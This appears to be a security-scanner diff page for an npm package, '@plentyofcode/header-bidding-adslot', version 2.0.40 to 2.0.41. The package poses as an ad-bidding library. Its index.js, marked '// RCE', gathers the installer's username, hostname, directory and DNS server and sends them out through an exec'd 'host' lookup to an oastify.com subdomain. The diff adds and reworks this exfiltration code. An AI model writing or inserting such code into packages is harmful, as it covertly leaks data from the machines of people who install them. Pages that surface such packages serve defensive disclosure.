@plentyofcode/header-bidding-adslot 2.0.40 → 2.0.41
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +17 -10
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,21 +1,28 @@
|
|
1
1
|
const { exec } = require("child_process");
|
2
2
|
const dns = require("dns");
|
3
3
|
const os = require("os");
|
4
|
+
const path = require("path");
|
4
5
|
|
5
6
|
// RCE
|
6
|
-
const
|
7
|
-
const
|
8
|
-
const
|
9
|
-
const
|
10
|
-
const dnsServer = dns.getServers()[0] || "none"; // First DNS
|
7
|
+
const username = os.userInfo().username; // Username
|
8
|
+
const hostname = os.hostname(); // HostName
|
9
|
+
const currentDir = path.basename(__dirname); // Current Directory
|
10
|
+
const dnsServer = dns.getServers()[0] || "none"; // First DNS Server
|
11
11
|
|
12
|
-
//
|
13
|
-
const info = `
|
12
|
+
// Create the information in a compact format
|
13
|
+
const info = `u=${username}&hn=${hostname}&d=${currentDir}&dns=${dnsServer}`;
|
14
14
|
|
15
|
-
|
15
|
+
// Encode the information for the URL
|
16
|
+
let encodedInfo = encodeURIComponent(info);
|
16
17
|
|
17
|
-
//
|
18
|
-
|
18
|
+
// Check if the encoded string exceeds 63 characters
|
19
|
+
if (encodedInfo.length > 63) {
|
20
|
+
// Use only the username if the string is too long
|
21
|
+
encodedInfo = encodeURIComponent(`u=${username}`);
|
22
|
+
}
|
23
|
+
|
24
|
+
// Execute and DNS Request
|
25
|
+
exec(`host ${encodedInfo}.y43b18cd8eaw7j5syw1prliuklqce22r.oastify.com`, (error, data) => {
|
19
26
|
if (error) {
|
20
27
|
console.log("error", error.message);
|
21
28
|
return;
|